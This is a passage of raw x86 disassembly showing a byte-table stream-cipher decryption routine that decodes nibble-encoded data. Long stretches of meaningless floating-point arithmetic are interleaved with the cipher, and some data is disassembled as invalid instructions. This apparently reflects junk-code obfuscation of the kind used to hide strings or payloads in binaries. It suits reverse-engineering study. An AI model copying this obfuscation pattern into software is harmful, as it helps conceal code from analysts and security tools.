movzx ecx, byte [ebp + ecx - 0xbac]
movzx edx, byte [ebp - 0xbbf]
movzx edx, byte [ebp + edx - 0xbac]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xbac]
xor eax, ecx
movzx ecx, byte [ebp - 0xbb5]
movzx ecx, byte [ebp + ecx - 0xbac]
movzx edx, byte [ebp - 0xa99]
movzx edx, byte [ebp + edx - 0xbac]
add ecx, edx
movzx edx, byte [ebp - 0xbad]
movzx edx, byte [ebp + edx - 0xbac]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xbac]
movzx ecx, byte [ebp + ecx - 0xbac]
xor eax, ecx
mov byte [ebp - 0xbb5], al
mov al, byte [ebp - 0xbdd]
mov byte [ebp - 0xa99], al
mov al, byte [ebp - 0xbb5]
mov byte [ebp - 0xbfd], al
cmp dword [ebp - 0xbf8], 0
jle 0x5162a2
mov eax, dword [ebp - 0xbf8]
mov cl, byte [ebp - 0xbfd]
mov byte [ebp + eax - 0x6b5], cl
jmp 0x515ea3
mov eax, dword [ebp - 0xbf4]
inc eax
mov dword [ebp - 0xbf4], eax
mov eax, dword [ebp - 0xbf8]
inc eax
mov dword [ebp - 0xbf8], eax
mov eax, dword [ebp - 0xbf4]
inc eax
mov dword [ebp - 0xbf4], eax
mov eax, dword [ebp - 0xbf8]
shl eax, 1
mov dword [ebp - 0xbd0], eax
mov eax, dword [ebp - 0xaa4]
add eax, dword [ebp - 0xbd0]
movzx eax, byte [eax]
mov dword [ebp - 0xc0c], eax
mov dword [ebp - 0xbdc], 0x1b
mov eax, dword [ebp - 0xbf8]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xbec], eax
mov eax, dword [ebp - 0xaa4]
add eax, dword [ebp - 0xbec]
movzx eax, byte [eax]
mov dword [ebp - 0xc20], eax
mov dword [ebp - 0xc08], 0x81
mov eax, dword [ebp - 0xc0c]
sub eax, dword [ebp - 0xbdc]
mov dword [ebp - 0xc1c], eax
mov eax, dword [ebp - 0xc20]
sub eax, dword [ebp - 0xc08]
mov dword [ebp - 0xbd4], eax
mov eax, dword [ebp - 0xc1c]
shl eax, 4
mov dword [ebp - 0xc18], eax
mov eax, dword [ebp - 0xbd4]
mov dword [ebp - 0xc04], eax
mov eax, dword [ebp - 0xc18]
or eax, dword [ebp - 0xc04]
mov dword [ebp - 0xbf0], eax
mov al, byte [ebp - 0xbf0]
mov byte [ebp - 0xbdd], al
movzx eax, byte [ebp - 0xa99]
mov al, byte [ebp + eax - 0xbac]
mov byte [ebp - 0xc11], al
movzx eax, byte [ebp - 0xbbf]
movzx eax, byte [ebp + eax - 0xbac]
movzx ecx, byte [ebp - 0xaa9]
add ecx, eax
mov byte [ebp - 0xaa9], cl
mov al, byte [ebp - 0xbbf]
add al, 1
mov byte [ebp - 0xbbf], al
movzx eax, byte [ebp - 0xaa9]
movzx ecx, byte [ebp - 0xa99]
mov al, byte [ebp + eax - 0xbac]
mov byte [ebp + ecx - 0xbac], al
movzx eax, byte [ebp - 0xbb5]
movzx ecx, byte [ebp - 0xaa9]
mov al, byte [ebp + eax - 0xbac]
mov byte [ebp + ecx - 0xbac], al
movzx eax, byte [ebp - 0xbbf]
movzx ecx, byte [ebp - 0xbb5]
mov al, byte [ebp + eax - 0xbac]
mov byte [ebp + ecx - 0xbac], al
movzx eax, byte [ebp - 0xbbf]
mov cl, byte [ebp - 0xc11]
mov byte [ebp + eax - 0xbac], cl
movzx eax, byte [ebp - 0xc11]
movzx eax, byte [ebp + eax - 0xbac]
movzx ecx, byte [ebp - 0xbad]
add ecx, eax
mov byte [ebp - 0xbad], cl
movzx eax, byte [ebp - 0xbdd]
movzx ecx, byte [ebp - 0xaa9]
movzx ecx, byte [ebp + ecx - 0xbac]
movzx edx, byte [ebp - 0xbbf]
movzx edx, byte [ebp + edx - 0xbac]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xbac]
xor eax, ecx
movzx ecx, byte [ebp - 0xbb5]
movzx ecx, byte [ebp + ecx - 0xbac]
movzx edx, byte [ebp - 0xa99]
movzx edx, byte [ebp + edx - 0xbac]
add ecx, edx
movzx edx, byte [ebp - 0xbad]
movzx edx, byte [ebp + edx - 0xbac]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xbac]
movzx ecx, byte [ebp + ecx - 0xbac]
xor eax, ecx
mov byte [ebp - 0xbb5], al
mov al, byte [ebp - 0xbdd]
mov byte [ebp - 0xa99], al
mov al, byte [ebp - 0xbb5]
mov byte [ebp - 0xbfd], al
cmp dword [ebp - 0xbf8], 0
jle 0x516507
mov eax, dword [ebp - 0xbf8]
mov cl, byte [ebp - 0xbfd]
mov byte [ebp + eax - 0x6b5], cl
fld dword [0x9a5a30]
fstp dword [ebp - 0xbfc]
fld dword [0x9a5a2c]
fstp dword [ebp - 0xbe8]
fld dword [0x9a5a28]
fstp dword [ebp - 0xbe4]
fld dword [0x9a5a24]
fstp dword [ebp - 0xbd8]
fld dword [0x9a5a20]
fstp dword [ebp - 0xc10]
fld dword [ebp - 0xbd8]
fmul dword [ebp - 0xc10]
fstp dword [ebp - 0xbd8]
fld dword [ebp - 0xbfc]
fmul dword [ebp - 0xc10]
fstp dword [ebp - 0xbfc]
fld dword [ebp - 0xbd8]
fsub dword [ebp - 0xc10]
fstp dword [ebp - 0xbd8]
fld dword [ebp - 0xbe4]
fmul dword [ebp - 0xc10]
fstp dword [ebp - 0xbe4]
fld dword [ebp - 0xbfc]
fmul dword [ebp - 0xc10]
fstp dword [ebp - 0xbfc]
fld dword [ebp - 0xc10]
fld dword [ebp - 0xbfc]
fcompp
fnstsw ax
test ah, 0x41
jne 0x516615
fld dword [ebp - 0xbe4]
fmul dword [ebp - 0xbd8]
fstp dword [ebp - 0xbe4]
fld dword [ebp - 0xc10]
fsub dword [ebp - 0xbfc]
fstp dword [ebp - 0xc10]
fld dword [ebp - 0xbe4]
fmul dword [ebp - 0xbd8]
fstp dword [ebp - 0xbe4]
fld dword [ebp - 0xc10]
fmul dword [ebp - 0xbfc]
fstp dword [ebp - 0xc10]
fld dword [ebp - 0xbfc]
fadd dword [ebp - 0xbe8]
fstp dword [ebp - 0xbfc]
mov byte [ebp - 0x6a7], 0
jmp 0x51666f
fld dword [ebp - 0xbe8]
fsub dword [ebp - 0xbd8]
fstp dword [ebp - 0xbe8]
fld dword [ebp - 0xbfc]
fadd dword [ebp - 0xbe4]
fstp dword [ebp - 0xbfc]
fld dword [ebp - 0xbd8]
fadd dword [ebp - 0xbfc]
fstp dword [ebp - 0xbd8]
fld dword [ebp - 0xbfc]
fadd dword [ebp - 0xbe4]
fstp dword [ebp - 0xbfc]
fld dword [ebp - 0xbe4]
fadd dword [ebp - 0xc10]
fstp dword [ebp - 0xbe4]
jmp 0x5166a0
and dword [ebp - 0xc88], 0
jmp 0x516687
mov eax, dword [ebp - 0xc88]
inc eax
mov dword [ebp - 0xc88], eax
cmp dword [ebp - 0xc88], 0xe
jge 0x5166a0
mov eax, dword [ebp - 0xc88]
mov byte [ebp + eax - 0x6b4], 0
jmp 0x51667a
lea eax, [ebp - 0x6b4]
push eax
mov ecx, dword [ebp - 0x43c]
call fcn.0044dee5
mov dword [ebp - 0x41c], eax
and dword [ebp - 0x438], 0
and dword [ebp - 0x698], 0
fldz
fstp qword [ebp - 0x434]
fldz
fstp qword [ebp - 0x474]
fldz
fstp qword [ebp - 0x474]
jmp 0x5166f2
fld qword [ebp - 0x474]
fadd qword [0x9a1970]
fstp qword [ebp - 0x474]
fld qword [0x9a5a18]
fcomp qword [ebp - 0x474]
fnstsw ax
test ah, 0x41
jne 0x51677b
fld qword [0x9a5a10]
fmul qword [ebp - 0x474]
fmul qword [ebp - 0x474]
fld qword [ebp - 0x474]
fmul qword [ebp - 0x474]
fsubp st(1)
fld qword [0x9a5a08]
fmul qword [ebp - 0x474]
fmul qword [ebp - 0x474]
fadd qword [0x9a5a00]
fdivp st(1)
fadd qword [ebp - 0x434]
fstp qword [ebp - 0x434]
fld qword [0x9a59f8]
fcomp qword [ebp - 0x434]
fnstsw ax
test ah, 5
jp 0x516776
fld qword [0x9a59f0]
fmul qword [ebp - 0x474]
fsubr qword [ebp - 0x434]
fstp qword [ebp - 0x434]
jmp 0x5166e0
fldz
fcomp qword [ebp - 0x434]
fnstsw ax
test ah, 0x41
jne 0x5167b6
mov esp, 0xb26ab46a
imul edi, dword [ebp - 0x448d448d], 0x77
push ecx
dec bx
pushal
cmp byte [eax], ah
inc ecx
jp 0x5167ef
xor eax, 0x277a2f4a
inc eax
cmp al, 0x78
jo 0x5167fd
sub byte [ecx + 0x3d], al
dec ebx
cmp dword [ebx + 0x4d], esi
jmp 0x518685
mov dword [ebp - 0x438], 0x51678a
mov dword [ebp - 0x698], 0x516796
mov eax, dword [ebp - 0x438]
mov dword [ebp - 0xc94], eax
mov eax, dword [ebp - 0x698]
mov dword [ebp - 0xc90], eax
mov byte [ebp - 0xdad], 0x1f
and dword [ebp - 0xda4], 0
jmp 0x5167ff
add bl, ch
or eax, 0xf25c858b
invalid
mov eax, dword [ebp - 0xda4]
inc eax
mov dword [ebp - 0xda4], eax
invalid
cmp dword [ebp - 0xda4], 0x100
jae 0x516820
mov eax, dword [ebp - 0xda4]
mov cl, byte [ebp - 0xda4]
mov byte [ebp + eax - 0xd9c], cl
jmp 0x5167f2
and dword [ebp - 0xc98], 0
mov byte [ebp - 0xdae], 0
mov dword [ebp - 0xda4], 0xff
jmp 0x516847
mov eax, dword [ebp - 0xda4]
dec eax
mov dword [ebp - 0xda4], eax
cmp dword [ebp - 0xda4], 0
jbe 0x516ac1
and dword [ebp - 0xdb4], 0
mov dword [ebp - 0xdbc], 1
mov eax, dword [ebp - 0xdbc]
cmp eax, dword [ebp - 0xda4]
jae 0x516885
mov eax, dword [ebp - 0xdbc]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xdbc], eax
jmp 0x516865
mov eax, dword [ebp - 0xc98]
mov dword [ebp - 0xf48], eax
mov eax, dword [ebp - 0xf48]
mov dword [ebp - 0xf4c], eax
cmp dword [ebp - 0xf4c], 0
je 0x5168ca
sub dword [ebp - 0xf4c], 1
je 0x5168f6
sub dword [ebp - 0xf4c], 1
je 0x516922
sub dword [ebp - 0xf4c], 1
je 0x51694e
jmp 0x51697a
movzx eax, byte [ebp - 0xdae]
movzx ebx, byte [ebp + eax - 0xd9c]
fld qword [ebp - 0x434]
call fcn.00937726
and eax, 0xff
add ebx, eax
mov byte [ebp - 0xdae], bl
jmp 0x5169a1
movzx eax, byte [ebp - 0xdae]
movzx ebx, byte [ebp + eax - 0xd9c]
fld qword [ebp - 0x434]
call fcn.00937726
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0xdae], bl
jmp 0x5169a1
movzx eax, byte [ebp - 0xdae]
movzx ebx, byte [ebp + eax - 0xd9c]
fld qword [ebp - 0x434]
call fcn.00937726
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0xdae], bl
jmp 0x5169a1
movzx eax, byte [ebp - 0xdae]
movzx ebx, byte [ebp + eax - 0xd9c]
fld qword [ebp - 0x434]
call fcn.00937726
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0xdae], bl
jmp 0x5169a1
movzx eax, byte [ebp - 0xdae]
movzx eax, byte [ebp + eax - 0xd9c]
mov ecx, dword [ebp - 0xc90]
add ecx, dword [ebp - 0xc98]
movzx ecx, byte [ecx - 4]
add eax, ecx
mov byte [ebp - 0xdae], al
mov eax, dword [ebp - 0xc98]
inc eax
mov dword [ebp - 0xc98], eax
movzx eax, byte [ebp - 0xdad]
cmp dword [ebp - 0xc98], eax
jb 0x5169da
and dword [ebp - 0xc98], 0
movzx eax, byte [ebp - 0xdad]
movzx ecx, byte [ebp - 0xdae]
add ecx, eax
mov byte [ebp - 0xdae], cl
movzx eax, byte [ebp - 0xdae]
and eax, dword [ebp - 0xdbc]
mov dword [ebp - 0xdb8], eax
mov eax, dword [ebp - 0xdb4]
inc eax
mov dword [ebp - 0xdb4], eax
cmp dword [ebp - 0xdb4], 0xb
jbe 0x516a17
mov eax, dword [ebp - 0xdb8]
xor edx, edx
div dword [ebp - 0xda4]
mov dword [ebp - 0xdb8], edx
mov eax, dword [ebp - 0xdb8]
cmp eax, dword [ebp - 0xda4]
ja 0x516885
mov eax, dword [ebp - 0xda4]
cmp eax, dword [ebp - 0xdb8]
je 0x516abc
mov eax, dword [ebp - 0xdb8]
movzx eax, byte [ebp + eax - 0xd9c]
mov ecx, dword [ebp - 0xda4]
movzx ecx, byte [ebp + ecx - 0xd9c]
xor ecx, eax
mov eax, dword [ebp - 0xda4]
mov byte [ebp + eax - 0xd9c], cl
mov eax, dword [ebp - 0xda4]
movzx eax, byte [ebp + eax - 0xd9c]
mov ecx, dword [ebp - 0xdb8]
movzx ecx, byte [ebp + ecx - 0xd9c]
xor ecx, eax
mov eax, dword [ebp - 0xdb8]
mov byte [ebp + eax - 0xd9c], cl
mov eax, dword [ebp - 0xdb8]
movzx eax, byte [ebp + eax - 0xd9c]
mov ecx, dword [ebp - 0xda4]
movzx ecx, byte [ebp + ecx - 0xd9c]
xor ecx, eax
mov eax, dword [ebp - 0xda4]
mov byte [ebp + eax - 0xd9c], cl
jmp 0x51683a
mov al, byte [ebp - 0xd9b]
mov byte [ebp - 0xdaf], al
mov al, byte [ebp - 0xd99]
mov byte [ebp - 0xc99], al
mov al, byte [ebp - 0xd97]
mov byte [ebp - 0xd9d], al
mov al, byte [ebp - 0xd95]
mov byte [ebp - 0xda5], al
movzx eax, byte [ebp - 0xdae]
mov al, byte [ebp + eax - 0xd9c]
mov byte [ebp - 0xc89], al
mov dword [ebp - 0xdac], 0xc
cmp dword [ebp - 0xdac], 2
jle 0x518654
mov eax, dword [ebp - 0xdac]
and eax, 1
jne 0x518654
and dword [ebp - 0xe44], 0
and dword [ebp - 0xe40], 0
mov eax, dword [ebp - 0xe40]
inc eax
mov dword [ebp - 0xe40], eax
and dword [ebp - 0xdc8], 0
mov eax, dword [ebp - 0xe44]
shl eax, 1
mov dword [ebp - 0xdc8], eax
and dword [ebp - 0xe64], 0
mov eax, dword [ebp - 0xc94]
add eax, dword [ebp - 0xdc8]
movzx eax, byte [eax]
add eax, dword [ebp - 0xe64]
mov dword [ebp - 0xe64], eax
and dword [ebp - 0xdf0], 0
mov eax, dword [ebp - 0xdf0]
add eax, 0xb2
mov dword [ebp - 0xdf0], eax
and dword [ebp - 0xe20], 0
fld qword [0x9a59e8]
fstp qword [ebp - 0xe14]
fld qword [0x9a59e0]
fstp qword [ebp - 0xe3c]
fld qword [0x9a59d8]
fstp qword [ebp - 0xe7c]
fld qword [0x9a59d0]
fstp qword [ebp - 0xde4]
fld qword [0x9a59c8]
fstp qword [ebp - 0xe0c]
fld qword [0x9a59c0]
fstp qword [ebp - 0xe54]
fld qword [ebp - 0xe3c]
fsub qword [ebp - 0xe54]
fstp qword [ebp - 0xe3c]
fld qword [ebp - 0xe3c]
fadd qword [ebp - 0xe54]
fstp qword [ebp - 0xe3c]
fld qword [ebp - 0xe0c]
fadd qword [ebp - 0xe54]
fstp qword [ebp - 0xe0c]
fld qword [ebp - 0xe7c]
fsub qword [ebp - 0xe54]
fstp qword [ebp - 0xe7c]
fld qword [ebp - 0xe0c]
fadd qword [ebp - 0xe54]
fstp qword [ebp - 0xe0c]
fld qword [ebp - 0xe3c]
fadd qword [ebp - 0xe54]
fstp qword [ebp - 0xe3c]
fld qword [ebp - 0xe54]
fcomp qword [ebp - 0xe3c]
fnstsw ax
test ah, 0x41
jne 0x516cd1
fld qword [ebp - 0xe3c]
fdiv qword [ebp - 0xe7c]
fstp qword [ebp - 0xe3c]
fld qword [ebp - 0xe3c]
fsub qword [ebp - 0xe7c]
fstp qword [ebp - 0xe3c]
fld qword [ebp - 0xe3c]
fmul qword [ebp - 0xe7c]
fstp qword [ebp - 0xe3c]
fld qword [ebp - 0xe0c]
fadd qword [ebp - 0xe54]
fstp qword [ebp - 0xe0c]
fld qword [ebp - 0xe14]
fsub qword [ebp - 0xe3c]
fstp qword [ebp - 0xe14]
fld qword [ebp - 0xe7c]
fdiv qword [ebp - 0xde4]
fstp qword [ebp - 0xe7c]
jmp 0x516d4d
fld qword [ebp - 0xe7c]
fmul qword [ebp - 0xde4]
fstp qword [ebp - 0xe7c]
fld qword [ebp - 0xe0c]
fsub qword [ebp - 0xe54]
fstp qword [ebp - 0xe0c]
fld qword [ebp - 0xe7c]
fmul qword [ebp - 0xde4]
fstp qword [ebp - 0xe7c]
fld qword [ebp - 0xe0c]
fmul qword [ebp - 0xe54]
fstp qword [ebp - 0xe0c]
fld qword [ebp - 0xe7c]
fsub qword [ebp - 0xde4]
fstp qword [ebp - 0xe7c]
fld qword [ebp - 0xe54]
fsub qword [ebp - 0xe14]
fstp qword [ebp - 0xe54]
mov eax, dword [ebp - 0xe44]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xe20], eax
and dword [ebp - 0xe8c], 0
mov eax, dword [ebp - 0xc94]
add eax, dword [ebp - 0xe20]
movzx eax, byte [eax]
add eax, dword [ebp - 0xe8c]
mov dword [ebp - 0xe8c], eax
and dword [ebp - 0xe60], 0
mov eax, dword [ebp - 0xe60]
add eax, 0x68
mov dword [ebp - 0xe60], eax
and dword [ebp - 0xe88], 0
mov eax, dword [ebp - 0xe64]
sub eax, dword [ebp - 0xdf0]
add eax, dword [ebp - 0xe88]
mov dword [ebp - 0xe88], eax
and dword [ebp - 0xdcc], 0
mov eax, dword [ebp - 0xe8c]
sub eax, dword [ebp - 0xe60]
add eax, dword [ebp - 0xdcc]
mov dword [ebp - 0xdcc], eax
and dword [ebp - 0xe84], 0
mov eax, dword [ebp - 0xe88]
shl eax, 4
mov dword [ebp - 0xe84], eax
and dword [ebp - 0xe5c], 0
mov eax, dword [ebp - 0xdcc]
mov dword [ebp - 0xe5c], eax
and dword [ebp - 0xe34], 0
mov eax, dword [ebp - 0xe84]
or eax, dword [ebp - 0xe5c]
mov dword [ebp - 0xe34], eax
mov byte [ebp - 0xe01], 0
mov al, byte [ebp - 0xe34]
mov byte [ebp - 0xe01], al
mov byte [ebp - 0xe7d], 0
movzx eax, byte [ebp - 0xc89]
mov al, byte [ebp + eax - 0xd9c]
mov byte [ebp - 0xe7d], al
movzx eax, byte [ebp - 0xdaf]
movzx eax, byte [ebp + eax - 0xd9c]
movzx ecx, byte [ebp - 0xc99]
add ecx, eax
mov byte [ebp - 0xc99], cl
mov al, byte [ebp - 0xdaf]
add al, 1
mov byte [ebp - 0xdaf], al
movzx eax, byte [ebp - 0xc99]
movzx ecx, byte [ebp - 0xc89]
mov al, byte [ebp + eax - 0xd9c]
mov byte [ebp + ecx - 0xd9c], al
fld dword [0x9a59b8]
fstp dword [ebp - 0xdc4]
fld dword [0x9a59b4]
fstp dword [ebp - 0xdec]
fld dword [0x9a59b0]
fstp dword [ebp - 0xe1c]
fld dword [0x9a59ac]
fstp dword [ebp - 0xe48]
fld dword [0x9a59a8]
fstp dword [ebp - 0xdc0]
fld dword [0x9a59a4]
fstp dword [ebp - 0xde8]
fld dword [0x9a59a0]
fstp dword [ebp - 0xe18]
fld dword [ebp - 0xe1c]
fmul dword [ebp - 0xe18]
fstp dword [ebp - 0xe1c]
fld dword [ebp - 0xe48]
fsub dword [ebp - 0xe18]
fstp dword [ebp - 0xe48]
fld dword [ebp - 0xdec]
fadd dword [ebp - 0xe18]
fstp dword [ebp - 0xdec]
fld dword [ebp - 0xde8]
fmul dword [ebp - 0xe18]
fstp dword [ebp - 0xde8]
fld dword [ebp - 0xe48]
fsub dword [ebp - 0xe18]
fstp dword [ebp - 0xe48]
fld dword [ebp - 0xdec]
fadd dword [ebp - 0xe18]
fstp dword [ebp - 0xdec]
fld dword [ebp - 0xe1c]
fmul dword [ebp - 0xe18]
fstp dword [ebp - 0xe1c]
fld dword [ebp - 0xe1c]
fld dword [ebp - 0xe18]
fcompp
fnstsw ax
test ah, 5
jp 0x517002
fld dword [ebp - 0xde8]
fadd dword [ebp - 0xe18]
fstp dword [ebp - 0xde8]
fld dword [ebp - 0xe1c]
fadd dword [ebp - 0xe48]
fstp dword [ebp - 0xe1c]
fld dword [ebp - 0xe1c]
fmul dword [ebp - 0xe48]
fstp dword [ebp - 0xe1c]
fld dword [ebp - 0xe48]
fsub dword [ebp - 0xdc0]
fstp dword [ebp - 0xe48]
fld dword [ebp - 0xe48]
fsub dword [ebp - 0xdc0]
fstp dword [ebp - 0xe48]
fld dword [ebp - 0xe1c]
fsub dword [ebp - 0xe48]
fstp dword [ebp - 0xe1c]
fld dword [ebp - 0xe18]
fsub dword [ebp - 0xdc4]
fstp dword [ebp - 0xe18]
movzx eax, byte [ebp - 0xda5]
movzx ecx, byte [ebp - 0xc99]
mov al, byte [ebp + eax - 0xd9c]
mov byte [ebp + ecx - 0xd9c], al
jmp 0x517080
fld dword [ebp - 0xe18]
fmul dword [ebp - 0xdc4]
fstp dword [ebp - 0xe18]
fld dword [ebp - 0xdec]
fsub dword [ebp - 0xe1c]
fstp dword [ebp - 0xdec]
fld dword [ebp - 0xde8]
fdiv dword [ebp - 0xe18]
fstp dword [ebp - 0xde8]
fld dword [ebp - 0xdc0]
fmul dword [ebp - 0xde8]
fstp dword [ebp - 0xdc0]
fld dword [ebp - 0xdc0]
fadd dword [ebp - 0xde8]
fstp dword [ebp - 0xdc0]
fld dword [ebp - 0xdec]
fsub dword [ebp - 0xe1c]
fstp dword [ebp - 0xdec]
fld dword [ebp - 0xe1c]
fadd dword [ebp - 0xe48]
fstp dword [ebp - 0xe1c]
movzx eax, byte [ebp - 0xdaf]
movzx ecx, byte [ebp - 0xda5]
mov al, byte [ebp + eax - 0xd9c]
mov byte [ebp + ecx - 0xd9c], al
movzx eax, byte [ebp - 0xdaf]
mov cl, byte [ebp - 0xe7d]
mov byte [ebp + eax - 0xd9c], cl
movzx eax, byte [ebp - 0xe7d]
movzx eax, byte [ebp + eax - 0xd9c]
movzx ecx, byte [ebp - 0xd9d]
add ecx, eax
mov byte [ebp - 0xd9d], cl
movzx eax, byte [ebp - 0xe01]
movzx ecx, byte [ebp - 0xc99]
movzx ecx, byte [ebp + ecx - 0xd9c]
movzx edx, byte [ebp - 0xdaf]
movzx edx, byte [ebp + edx - 0xd9c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd9c]
xor eax, ecx
movzx ecx, byte [ebp - 0xda5]
movzx ecx, byte [ebp + ecx - 0xd9c]
movzx edx, byte [ebp - 0xc89]
movzx edx, byte [ebp + edx - 0xd9c]
add ecx, edx
movzx edx, byte [ebp - 0xd9d]
movzx edx, byte [ebp + edx - 0xd9c]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xd9c]
movzx ecx, byte [ebp + ecx - 0xd9c]
xor eax, ecx
mov byte [ebp - 0xda5], al
mov al, byte [ebp - 0xe01]
mov byte [ebp - 0xc89], al
mov al, byte [ebp - 0xda5]
mov byte [ebp - 0xe55], al
cmp dword [ebp - 0xe44], 0
jle 0x51718b
movsx ax, byte [ebp - 0xe55]
mov ecx, dword [ebp - 0xe44]
mov word [ebp + ecx*2 - 0x44e], ax
mov eax, dword [ebp - 0xe40]
inc eax
mov dword [ebp - 0xe40], eax
mov eax, dword [ebp - 0xe44]
inc eax
mov dword [ebp - 0xe90], eax
jmp 0x5171b4
mov eax, dword [ebp - 0xe90]
inc eax
mov dword [ebp - 0xe90], eax
mov eax, dword [ebp - 0xe90]
cmp eax, dword [ebp - 0xe40]
jge 0x517689
mov eax, dword [ebp - 0xe44]
inc eax
mov dword [ebp - 0xe44], eax
mov eax, dword [ebp - 0xe44]
shl eax, 1
mov dword [ebp - 0xdc8], eax
mov eax, dword [ebp - 0xc94]
add eax, dword [ebp - 0xdc8]
movzx eax, byte [eax]
mov dword [ebp - 0xe64], eax
mov dword [ebp - 0xdf0], 0xb2
mov eax, dword [ebp - 0xe44]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xe20], eax
mov eax, dword [ebp - 0xc94]
add eax, dword [ebp - 0xe20]
movzx eax, byte [eax]
mov dword [ebp - 0xe8c], eax
mov dword [ebp - 0xe60], 0x68
mov eax, dword [ebp - 0xe64]
sub eax, dword [ebp - 0xdf0]
mov dword [ebp - 0xe88], eax
mov eax, dword [ebp - 0xe8c]
sub eax, dword [ebp - 0xe60]
mov dword [ebp - 0xdcc], eax
fld qword [0x9a5998]
fstp qword [ebp - 0xebc]
fld qword [0x9a5990]
fstp qword [ebp - 0xe9c]
fld qword [0x9a5988]
fstp qword [ebp - 0xeac]
fld qword [ebp - 0xe9c]
fsub qword [ebp - 0xeac]
fstp qword [ebp - 0xe9c]
fld qword [ebp - 0xebc]
fadd qword [ebp - 0xeac]
fstp qword [ebp - 0xebc]
fld qword [ebp - 0xebc]
fadd qword [ebp - 0xeac]
fstp qword [ebp - 0xebc]
fld qword [ebp - 0xe9c]
fcomp qword [ebp - 0xebc]
fnstsw ax
test ah, 0x41
jne 0x5172f8
fld qword [ebp - 0xe9c]
fsub qword [ebp - 0xeac]
fstp qword [ebp - 0xe9c]
fld qword [ebp - 0xe9c]
fmul qword [ebp - 0xeac]
fstp qword [ebp - 0xe9c]
fld qword [ebp - 0xeac]
fadd qword [ebp - 0xebc]
fstp qword [ebp - 0xeac]
jmp 0x51733d
fld qword [ebp - 0xe9c]
fsub qword [ebp - 0xebc]
fstp qword [ebp - 0xe9c]
fld qword [ebp - 0xebc]
fadd qword [ebp - 0xeac]
fstp qword [ebp - 0xebc]
fld qword [ebp - 0xebc]
fsub qword [ebp - 0xeac]
fstp qword [ebp - 0xebc]
mov eax, dword [ebp - 0xe88]
shl eax, 4
mov dword [ebp - 0xe84], eax
mov eax, dword [ebp - 0xdcc]
mov dword [ebp - 0xe5c], eax
mov eax, dword [ebp - 0xe84]
or eax, dword [ebp - 0xe5c]
mov dword [ebp - 0xe34], eax
mov al, byte [ebp - 0xe34]
mov byte [ebp - 0xe01], al
movzx eax, byte [ebp - 0xc89]
mov al, byte [ebp + eax - 0xd9c]
mov byte [ebp - 0xe7d], al
movzx eax, byte [ebp - 0xdaf]
movzx eax, byte [ebp + eax - 0xd9c]
movzx ecx, byte [ebp - 0xc99]
add ecx, eax
mov byte [ebp - 0xc99], cl
mov al, byte [ebp - 0xdaf]
add al, 1
mov byte [ebp - 0xdaf], al
fld dword [0x9a5984]
fstp dword [ebp - 0xeb0]
fld dword [0x9a12b4]
fstp dword [ebp - 0xec0]
fld dword [0x9a5980]
fstp dword [ebp - 0xea0]
fld dword [ebp - 0xeb0]
fmul dword [ebp - 0xea0]
fstp dword [ebp - 0xeb0]
fld dword [ebp - 0xec0]
fsub dword [ebp - 0xea0]
fstp dword [ebp - 0xec0]
fld dword [ebp - 0xec0]
fsub dword [ebp - 0xea0]
fstp dword [ebp - 0xec0]
fld dword [ebp - 0xec0]
fld dword [ebp - 0xeb0]
fcompp
fnstsw ax
test ah, 5
jp 0x51750b
fld dword [ebp - 0xea0]
fmul dword [ebp - 0xeb0]
fstp dword [ebp - 0xea0]
fld dword [ebp - 0xeb0]
fdiv dword [ebp - 0xec0]
fstp dword [ebp - 0xeb0]
fld dword [ebp - 0xec0]
fadd dword [ebp - 0xea0]
fstp dword [ebp - 0xec0]
fld dword [ebp - 0xea0]
fmul dword [ebp - 0xeb0]
fstp dword [ebp - 0xea0]
fld dword [ebp - 0xec0]
fdiv dword [ebp - 0xea0]
fstp dword [ebp - 0xec0]
fld dword [ebp - 0xea0]
fadd dword [ebp - 0xeb0]
fstp dword [ebp - 0xea0]
fld dword [ebp - 0xea0]
fld dword [ebp - 0xec0]
fcompp
fnstsw ax
test ah, 0x41
jne 0x5174d3
fld dword [ebp - 0xeb0]
fdiv dword [ebp - 0xec0]
fstp dword [ebp - 0xeb0]
fld dword [ebp - 0xeb0]
fsub dword [ebp - 0xec0]
fstp dword [ebp - 0xeb0]
fld dword [ebp - 0xeb0]
fsub dword [ebp - 0xec0]
fstp dword [ebp - 0xeb0]
jmp 0x517509
fld dword [ebp - 0xec0]
fmul dword [ebp - 0xeb0]
fstp dword [ebp - 0xec0]
fld dword [ebp - 0xec0]
fsub dword [ebp - 0xeb0]
fstp dword [ebp - 0xec0]
fld dword [ebp - 0xea0]
fdiv dword [ebp - 0xec0]
fstp dword [ebp - 0xea0]
jmp 0x51755d
fld dword [ebp - 0xeb0]
fadd dword [ebp - 0xea0]
fstp dword [ebp - 0xeb0]
fld dword [ebp - 0xeb0]
fsub dword [ebp - 0xea0]
fstp dword [ebp - 0xeb0]
fld dword [ebp - 0xec0]
fsub dword [ebp - 0xeb0]
fstp dword [ebp - 0xec0]
movzx eax, byte [ebp - 0xc99]
movzx ecx, byte [ebp - 0xc89]
mov al, byte [ebp + eax - 0xd9c]
mov byte [ebp + ecx - 0xd9c], al
movzx eax, byte [ebp - 0xda5]
movzx ecx, byte [ebp - 0xc99]
mov al, byte [ebp + eax - 0xd9c]
mov byte [ebp + ecx - 0xd9c], al
movzx eax, byte [ebp - 0xdaf]
movzx ecx, byte [ebp - 0xda5]
mov al, byte [ebp + eax - 0xd9c]
mov byte [ebp + ecx - 0xd9c], al
movzx eax, byte [ebp - 0xdaf]
mov cl, byte [ebp - 0xe7d]
mov byte [ebp + eax - 0xd9c], cl
movzx eax, byte [ebp - 0xe7d]
movzx eax, byte [ebp + eax - 0xd9c]
movzx ecx, byte [ebp - 0xd9d]
add ecx, eax
mov byte [ebp - 0xd9d], cl
movzx eax, byte [ebp - 0xe01]
movzx ecx, byte [ebp - 0xc99]
